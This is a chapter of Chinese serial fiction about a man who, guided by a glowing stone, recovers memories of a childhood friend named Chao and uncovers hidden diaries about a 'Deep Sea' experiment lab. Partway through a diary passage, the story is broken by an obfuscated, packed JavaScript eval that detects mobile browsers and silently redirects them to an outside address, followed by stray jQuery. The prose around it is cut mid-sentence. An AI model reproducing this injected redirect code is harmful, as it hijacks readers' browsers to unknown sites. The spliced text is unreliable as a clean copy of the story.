海边小屋·第七夜
石头在发热。
江怀安把它握在掌心，蜷缩在卧室的床上。窗外是深夜的海，潮声规律地拍打着悬崖，像巨大的心脏在跳动。但石头在以一种不同的节奏发烫——烫三秒，停两秒，再烫三秒。
那是某种摩斯电码，他隐约知道。三短，三长，三短。SOS。
求救信号。来自哪里？
他翻身下床，腿还有些软，但比出院时好多了。他走到窗边，拉开窗帘。月光下的海是银黑色的，浪尖闪着冷光。在视线的尽头，那个白光又出现了——不是一闪而过，而是持续地亮着，以同样的节奏明暗：三短，三长，三短。
SOS。
石头在呼应。
江怀安穿好外套，拿起手电筒，悄悄下楼。海月在市区，今晚不会来。他推开门，夜风扑面而来，带着刺骨的寒意。但他握紧石头，那热度从掌心蔓延到全身，驱散了寒冷。
他沿着小路走向悬崖平台。手电筒的光在黑暗中切开一道裂缝，照亮脚下粗糙的岩石和顽固的野草。到达平台时，石头已经烫得几乎握不住。
他松手，石头掉在木地板上，发出清脆的响声。然后，它开始发光——不是反射月光，是自内而外的、柔和的蓝光。
蓝光在地板上流淌，勾勒出复杂的纹路。纹路蔓延、连接，最终形成一个直径约一米的圆形图案。图案中心，是三个字母：
A N C
ANC？什么意思？
没等他细想，图案突然升起，化为立体的光柱。光柱内部，景象开始浮现——
不是画面，是记忆。他的记忆。
六岁的他坐在海边，怀里抱着鲸鱼玩偶。玩偶的眼睛掉了一颗，他用胶水粘，粘不住。他哭了，眼泪滴在玩偶的绒布上。
一个声音说：“别哭，我帮你找。”
他抬头，看见一个男孩，穿着白衬衫，裤脚卷到膝盖，赤着脚站在沙滩上。阳光从男孩身后照过来，给他镀上一层金边。
男孩蹲下来，在沙子里翻找。找了一会儿，他举起手，掌心躺着一颗小小的、圆润的鹅卵石，颜色和玩偶的眼睛很像。
“用这个代替，”男孩说，“比原来的好看。”
他接过鹅卵石，塞进玩偶眼眶。玩偶用一只纽扣眼和一颗石眼看着他，滑稽又可爱。他笑了。
“你叫什么名字？”男孩问。
“江……”他卡住了。他不记得自己的名字。
“那就叫你安吧，”男孩说，“安安静静的安。”
“你呢？”
男孩想了想：“我叫潮。潮水的潮。”
记忆在这里中断。光柱消失，石头恢复常温，静静躺在地上。
江怀安跪下来，捡起石头。石头的孔洞里，他看见了一行极小的字，刚才没有发现：
“安与潮，第一次相遇，2008年11月14日。”
2008年11月14日。那是他溺水的日子。
所以那个男孩——潮——是真的？不是他愧疚感的投射，不是系统的虚构，而是真实存在过的人？
他握紧石头，石头不再发烫，反而变得温暖，像刚被人握在手里很久。
潮声在耳边响起，但不是从海的方向，是从他脑海里：
“第二次退潮，你在福利院的沙坑里堆城堡，堆到第七层时，潮来了。”
声音很年轻，和他刚才记忆里的男孩声音一样。
“潮？”江怀安轻声问，声音被海风吹散。
“第三次退潮，你在病房窗台上种野草，潮每天给它浇水，草活了三天。”
“你在哪里？”
“第四十七次退潮，你和潮在海边数浪花，数到一千零一十三时，潮说：‘够了，我们回去吧。’”
“你在哪里！”江怀安站起来，对着海面大喊。
没有回答。只有真实的海浪声，和不真实的记忆回声。
他转身跑回屋子，冲进书房，打开那台没有联网的笔记本电脑。桌面上只有一个“日记”文件夹，但这次他发现了异样——文件夹的创建日期是2008年11月15日，也就是他溺水后的第二天。
点开，里面仍然是空白的文档。
但他按下Ctrl+A全选，然后Ctrl+C复制，再打开一个新文档，Ctrl+V粘贴。
空白的文档里，浮现出密密麻麻的文字。那些文字原本是白色的，和背景色相同，只有在被复制粘贴后才会显现。
那是日记。他的日记。
2008年11月15日
潮不见了。他们说潮是我幻想出来的。我不信。潮帮我粘玩偶眼睛，潮和我堆沙堡，潮给我的野草浇水。潮是真的。
2008年11月20日
又去海边等潮。潮没来。
2008年12月5日
林医生说我有妄想症。给我吃药。药很苦，吃完想睡觉。梦里能见到潮。
2009年1月1日
新年愿望：找到潮。
日记持续了三年，直到2011年6月停止。最后一篇：
2011年6月15日
他们要把我送进一个叫“深海”的地方。说那里能治好我。林医生说治好了就能见到潮。我信了。我签了字。
潮，如果你能看到，对不起。我可能要忘记你了。
日记到这里结束。
江怀安盯着屏幕，指尖发冷。所以“潮”不是系统的虚构，不是愧疚的人格化，而是他六岁时的真实玩伴？但为什么所有人都说潮不存在？为什么他完全不记得？
不，他记得。刚才的光柱记忆就是证明。只是那段记忆被压抑了，被药物、被治疗、被系统循环覆盖了十五年。
他继续翻看隐藏的日记。在2011年6月15日那一篇后面，还有一段文字，字迹和前面的不同，更潦草，更疯狂：
“他们骗了我。深海不是医院，是实验室。他们把我关进一个白色房间，给我戴头盔，说是在扫描我的大脑。我看见潮了，在扫描的画面里。潮被关在另一个白色房间，也在戴头盔。潮在哭。”
“我想救潮，但我动不了。药让我全身都软。”
“潮看着我，说：‘安，记住我。’”
“然后潮消失了。画面变成雪花。”
“林医生说那是幻觉。但我知道不是。潮真的在那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368523|199845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里，和我一样被困住了。”
日记结束。
江怀安靠在椅背上，呼吸急促。头开始痛，像有什么东西在里面敲打。幻听又来了，这次不是潮的声音，是无数声音的混合：
“安，记住我。”
“安，救救我。”
“安，我在深海。”
深海。不是大海的深海，是“深海研究所”的深海。
潮也被抓去做实验了？和他一样？但为什么系统循环里没有潮？为什么115次循环里，潮只以“白衣少年”的幻影形式偶尔出现？
除非……
除非潮的实验和他不同。除非潮的意识没有被用来构建循环，而是被用来做了别的。
他抓起那块石头。石头又开始发烫，这次烫得更厉害，几乎要灼伤皮肤。他忍痛握着，走到窗边，看向海面。
白光还在，但改变了节奏。不再是SOS，而是一种更复杂的明暗序列：两短一长，三短，一长两短。
他不懂摩斯电码，但直觉告诉他，这是在传递信息。信息的内容就藏在石头里，藏在日记里，藏在那些碎片化的记忆里。
他回到电脑前，打开一个新的文档，开始把所有的线索写下来：
潮，真实存在，六岁时相遇
两人同时被深海研究所抓捕
他（安）被用于“潮汐计划”，进行115次循环实验
潮的用途未知，可能用于其他实验
潮的意识可能还存在于某处
石头是联络工具，白光可能是潮发出的信号
写到这里，他停住了。
如果潮的意识还在，为什么十五年来从未联络他？直到现在才出现？
除非……潮刚刚才获得联络的能力。或者，潮刚刚才“醒来”。
江怀安想起海面下的白光，那个规则的几何体。那不是自然现象，是人造物。可能是沉船，可能是水下设备，也可能是——
潮的维生舱。
像他一样，潮的意识可能也被保存在某个维生舱里，沉在海底。而最近，因为某种原因，维生舱苏醒了，开始发出信号。
石头作为接收器，接收信号并触发他的记忆。
他需要去那个白光的位置看看。
但怎么去？他不会潜水，没有设备，甚至不会游泳——病历上写着，他溺水后对水有严重创伤反应。
他看向窗外。月光下，海面平静，白光规律闪烁。
石头在掌心发烫，像在催促。
这时，手机响了——那个老式翻盖手机。屏幕上显示一条新短信，发信人未知，内容是一个坐标：
北纬30°15′，东经122°30′
正是白光的位置。
第二条短信紧随而至：
“退潮时，礁石会露出通道。但你要小心，海月不是你的表姨。”
江怀安盯着那条短信，后背发凉。
潮声又在脑海里响起，这次带着笑意：
“第一百一十五次退潮，安终于要来找我了。”
他握紧手机，握紧石头，看向窗外闪烁的白光。
潮在等他。
等了他十五年。